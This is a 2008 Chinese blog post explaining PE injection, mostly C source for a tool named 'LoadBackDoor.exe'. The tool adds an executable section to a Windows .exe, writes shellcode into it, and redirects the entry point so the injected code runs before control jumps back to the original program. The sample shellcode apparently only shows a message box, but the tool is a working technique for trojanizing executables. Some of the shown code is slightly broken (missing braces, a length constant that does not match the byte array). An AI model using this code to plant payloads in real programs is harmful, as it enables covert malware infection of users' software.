PE注入之旅

PE注入之旅
2008-09-30 10:46

     前几天看了下仔细看了下PE结构。PE是什么?呵呵,在windows里你可以理解成扩展名是.exe的那些文件,点一下就可以运行的就是了! 
好了,目标是向一个PE文件中注入一段自定义的机器码(这个对机器码的要求相当苛刻,里面使用的所有API的地址都必须自己得到,一般是暴力搜索,先不管它),需要达到点了文件后,首先运行我们注入的机器码,而后启动原来的程序! 
   原理:PE里面有大量的空隙,PE的具体内容是分成节的,主要有资源节,数据节,代码节等,作用是什么看名字就知道了。主要的框架与磁盘结构有异曲同工之妙!在最后一个节表后面增加一个节表,来添加我们新节的描述信息!在最后一个节中添加我们的机器码!须注意的是文件必须有严格的对齐方式(什么?连对齐都不知道是什么。PE结构不过关!),否则的话,windows给我们一个'该文件不是一个有效的win32程序'的错误那就不好了!好了,下面就是代码,有注解! 

//----------------------------------By YeShenYue--------------------------------------------// 

#include <windows.h> 
#include <winnt.h> 
#include <stdio.h> 
#include <assert.h> 

#define DEBUG                                 1 
#define EXTRA_CODE_LENGTH         18 
#define SECTION_SIZE                 0x1000         //增加的节的大小 
#define SECTION_NAME                 ".ngaut"         //增加的节的名字 
#define FILE_NAME_LENGTH         30     


unsigned char szHexCode[]={ 
                                             0x6A,0x40,0xE8,0x06,0x00,0x00,0x00,0x78, 
                                             0x34,0x68,0x00,0xEB,0x09,0xE8,0x04,0x00, 
                                             0x00,0x00,0x78,0x34,0x68,0x00,0x6A,0x00, 
                                             0xB8,0x8A,0x05,0xD5,0x77,0xFF,0xD0 
                                             }; 


int Align(int size, int ALIGN_BASE) 

         int ret; 
         int result; 
         assert( 0 != ALIGN_BASE ); 
         result = size % ALIGN_BASE; 
         if (0 != result)         //余数不为零,也就是没有整除 
         { 
                 ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE; 
         } 
         else 
         { 
                 ret = size; 
         } 
         return ret; 

void usage() 

         printf("用法:\n"); 
         printf("LoadBackDoor.exe FileName\n"); 
         printf("eg: \n"); 
         printf("\tLoadBackDoor.exe test.exe\n"); 
         } 

int main(int argc, char *argv[]) 

         IMAGE_DOS_HEADER DosHeader; 
         IMAGE_NT_HEADERS NtHeader; 
         IMAGE_SECTION_HEADER SectionHeader; 
         IMAGE_SECTION_HEADER newSectionHeader;         //新增加的节的节头 
         int numOfSections; 
         FILE *pNewFile; 
         int FILE_ALIGN_MENT; 
         int SECTION_ALIGN_MENT; 
         char srcFileName[FILE_NAME_LENGTH]; 
         char newFileName[FILE_NAME_LENGTH]; 
         int i; 
         int extraLengthAfterAlign; 
         unsigned int newEP;         //新入口点 
         unsigned int oldEP; 
         BYTE jmp; 
         char *pExtra_data; 
         int extra_data_real_length; 

         if (NULL == argv[1]) 
         { 
                 puts("参数错误\n"); 
                 usage(); 
                 exit(0); 
         } 
         strcpy(srcFileName, argv[1]); 
         strcpy(newFileName, srcFileName); 
         strcat(newFileName, ".exe"); 
         //复制一份 
         if (!CopyFile(srcFileName, newFileName, FALSE)) 
         { 
                 puts("Copy file failed"); 
                 exit(0); 
         } 
         //打开新文件,文件名为原来的文件名 + .exe 
         pNewFile = fopen(newFileName, "rb+");         //打开方式"rb+" 
         if (NULL == pNewFile) 
         { 
                 puts("Open file failed"); 
                 exit(0); 
         } 

         fseek(pNewFile, 0, SEEK_SET); 
         //读取IMAGE_DOS_HEADER 
         fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile); 
         if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE) 
         { 
                 puts("Not a valid PE file"); 
                 exit(0); 
         } 
         //先定位到pe文件头,然后读取IMAGE_NT_HEADERS 
         fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET); 
         fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile); 
         if (NtHeader.Signature != IMAGE_NT_SIGNATURE) 
         { 
                 puts("Not a valid PE file"); 
                 exit(0); 
         } 
         //到这里,该文件就算是被验明正身了--合法的PE文件 
         numOfSections = NtHeader.FileHeader.NumberOfSections; 
         FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment; 
         SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment; 
#if DEBUG 
         printf("FILE_ALIGN_MENT-> %x\n", FILE_ALIGN_MENT); 
         printf("SECTION_ALIGN_MENT-> %x\n", FILE_ALIGN_MENT); 
#endif 
         //保存原来的入口备用 
         oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint; 
         //定位到最后一个SectionHeader 
         for (i = 0; i < numOfSections; i++) 
         { 
                 fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile); 
#if DEBUG 
                 printf("节的名字:%s\n", SectionHeader.Name); 
#endif 
         } 

         //增加一个新节前的准备工作 
         extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT); 
         NtHeader.FileHeader.NumberOfSections++;         //节的总数加一 
         //先清零 
         memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER)); 
         //修正部分数据 
         strncpy((char*)newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME));         //修正节名 
         
//修正VirtualAddress和VirtualSize通过对齐SECTION_ALIGN_MENT 
         //修正VirtualAddress 
         newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize, 
                 SECTION_ALIGN_MENT); 
         //修正VirtualSize 
         newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT); 
         //修正PointerToRawData 
         newSectionHeader.PointerToRawData = Align 
                 ( 
                 SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData, 
                 FILE_ALIGN_MENT 
                 ); 
         //修正SizeOfRawData 
         newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT); 
         //修改新节的属性 
         newSectionHeader.Characteristics = 0xE0000020; //可读可些可执行 
         //修正NtHeader 
#if DEBUG 
         printf("\nSizeOfCode: %x\n", NtHeader.OptionalHeader.SizeOfCode); 
         printf("\nSizeOfImage: %x\n", NtHeader.OptionalHeader.SizeOfImage); 
#endif 
         NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT);         //修正SizeOfCode 
         NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage 
                                 + Align(SECTION_SIZE, SECTION_ALIGN_MENT); //修正SizeOfImage 
#if DEBUG 
         printf("\nSizeOfCode: %x\n", NtHeader.OptionalHeader.SizeOfCode); 
         printf("\nSizeOfImage: %x\n", NtHeader.OptionalHeader.SizeOfImage); 
#endif 
         //Set zero the Bound Import Directory header 
         NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0; 
         NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; 

         fseek(pNewFile, 0, SEEK_END); 
         newEP = newSectionHeader.VirtualAddress; 
#if DEBUG 
         printf("oldEP-> %x\n", oldEP); 
         printf("newEP-> %x\n", ftell(pNewFile)); 
#endif         
         NtHeader.OptionalHeader.AddressOfEntryPoint = newEP; 
         //定位节表尾部 
         fseek( 
                 pNewFile, 
                 DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS) 
                 + numOfSections * sizeof(IMAGE_SECTION_HEADER), 
                 SEEK_SET 
                 ); 
#if DEBUG 
         printf("Before write section header file pointer-> %x\n", ftell(pNewFile)); 
         printf("newSection name: %s\n", newSectionHeader.Name); 
#endif         
         //写入修正后的节头 
         fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile); 
#if DEBUG 
         printf("After write section header file pointer-> %x\n", ftell(pNewFile)); 
#endif         
         //写入修正后的PE文件头(NT头) 
         fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET); 
#if DEBUG 
         printf("Before write NtHeader pointer-> %x\n", ftell(pNewFile)); 
         printf("sizeof(IMAGE_NT_HEADERS): %x\n", sizeof(IMAGE_NT_HEADERS)); 
#endif         
         fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile); 
         //定位到文件尾部 
         fseek(pNewFile, 0, SEEK_END); 
#if DEBUG 
         printf("End of file pointer-> %x\n", ftell(pNewFile)); 
#endif 
         //写入新节,这里先写入0 
         for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++) 
         { 
                 fputc(0, pNewFile); 
         } 
         //定位到新节的开头 
         fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET); 
#if DEBUG 
         printf("Before write extra data pointer-> %x\n", ftell(pNewFile)); 
#endif 
       

         
extra_data_real_length=sizeof(szHexCode); 
                                 

       
         for (i = 0; i < extra_data_real_length; i++) 
         { 
               fputc(szHexCode[i], pNewFile); 
         } 

         oldEP = oldEP - (newEP + extra_data_real_length) - 5; 
#if DEBUG 
         printf("oldEP is-> %x\n", oldEP); 
#endif 
         jmp = 0xE9; 
         fwrite(&jmp, sizeof(jmp), 1, pNewFile); 
         fwrite(&oldEP, sizeof(oldEP), 1, pNewFile); 
         fclose(pNewFile); 
         
         return 0; 
}

vc6.0编译通过.

点此下载

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值